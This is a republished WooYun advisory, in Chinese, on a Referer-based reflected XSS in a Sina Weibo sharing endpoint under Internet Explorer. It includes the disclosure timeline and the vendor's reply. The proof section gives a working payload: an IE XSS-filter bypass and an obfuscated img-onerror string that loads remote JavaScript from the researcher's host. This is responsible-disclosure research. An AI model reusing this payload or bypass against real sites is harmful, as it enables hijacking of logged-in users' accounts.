新浪微博反射型XSS可实现点我链接关注/发微博等功能

admin 2017年4月8日01:38:58评论316 views字数 229阅读0分45秒阅读模式
摘要

2016-03-29: 细节已通知厂商并且等待厂商处理中
2016-03-30: 厂商已经确认,细节仅向厂商公开
2016-04-09: 细节向核心白帽子及相关领域专家公开
2016-04-19: 细节向普通白帽子公开
2016-04-29: 细节向实习白帽子公开
2016-05-14: 细节向公众公开

漏洞概要 关注数(18) 关注此漏洞

缺陷编号: WooYun-2016-190240

漏洞标题: 新浪微博反射型XSS可实现点我链接关注/发微博等功能

相关厂商: 新浪微博

漏洞作者: zhchbin

提交时间: 2016-03-29 09:27

公开时间: 2016-05-14 10:20

漏洞类型: XSS 跨站脚本攻击

危害等级: 中

自评Rank: 5

漏洞状态: 厂商已经确认

漏洞来源:www.wooyun.org ,如有疑问或需要帮助请联系

Tags标签: 反射型xss sns类型应用xss

1人收藏


漏洞详情

披露状态:

2016-03-29: 细节已通知厂商并且等待厂商处理中
2016-03-30: 厂商已经确认,细节仅向厂商公开
2016-04-09: 细节向核心白帽子及相关领域专家公开
2016-04-19: 细节向普通白帽子公开
2016-04-29: 细节向实习白帽子公开
2016-05-14: 细节向公众公开

简要描述:

挺好玩的一枚XSS,通过referrer注入,IE下测试有效

详细说明:

这个功能在:http://book.weibo.com/newcms/tp_p4c22t65.html这个页面中的分享处,不过今天我说过不报CSRF了,所以这次是一次反射型的XSS。

接口:http://book.weibo.com/newcms/i/weibo_send.php

这个接口会检查referrer,当referrer错误时会直接放回以下内容:

code 区域
{"code":-1,"message":"/u8bf7/u6c42/u6e90/u4e0d/u5141/u8bb8[http:////error.referer]"}

可以看到referrer被返回来了,而且页面的Content-Type如下:

code 区域
Content-Type: text/html; charset=utf-8

于是乎我就开始寻找构造XSS的过程。在Chrome和Firefox下,referrer都会被进行url encode导致无法插入HTML标签,因此这里我就没有深入。而在IE下,referrer是按照原始请求的格式传回给该接口的服务端,而这个接口没有经过任何过滤就直接返回了,所以在IE下,我们可以通过referrer进行XSS。具体构造过程如下:

设想过程,访问URL

code 区域
http://a.zhchbin.xyz/?a=<img src=1 onerror=alert(1)>

然后跳转到:http://book.weibo.com/newcms/i/weibo_send.php中,则可以完成XSS。

不过遇到第一个问题就是上述请求会被IE的XSS过滤器拦截,怎么办呢?我想到的是关闭它,为什么?因为他拦截的是我们自己的域名啊!于是在我们接口的响应头中返回一个头部信息:

code 区域
X-XSS-Protection: 0

关闭之后一切好办了,插入一个img标签,在onerror的时候eval一下一个字符串加载我们服务端的js文件,完成攻击。

漏洞证明:

1. IE下登录微博

2. 访问以下URL

code 区域
http://a.zhchbin.xyz/?a=<img src=1 onerror=eval(String.fromCharCode(101,61,100,111,99,117,109,101,110,116,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,34,115,99,114,105,112,116,34,41,59,101,46,115,114,99,61,34,104,116,116,112,58,47,47,97,46,122,104,99,104,98,105,110,46,120,121,122,47,98,111,111,107,46,119,101,105,98,111,46,106,115,34,44,100,111,99,117,109,101,110,116,46,100,111,99,117,109,101,110,116,69,108,101,109,101,110,116,46,97,112,112,101,110,100,67,104,105,108,100,40,101,41))>

3. 加载了远程代码并执行

用到的代码及过程的截图可以看我这个secret gist: https://gist.github.com/zhchbin/e8caa88cd9841c47b6f1

修复方案:

过滤

版权声明:转载请注明来源 zhchbin@乌云


漏洞回应

厂商回应:

危害等级:低

漏洞Rank:2

确认时间:2016-03-30 10:19

厂商回复:

感谢关注新浪安全,问题修复中。

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):

登陆后才能进行评分


评价

  1. 2016-03-29 12:54 | zhchbin ( 普通白帽子 | Rank:173 漏洞数:33 )

    1

    @新浪微博 我从服务器的log看到你们测试用的IE版本,发现有点小问题,所以我已经更新了一下验证的URL,记得刷新看看。

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin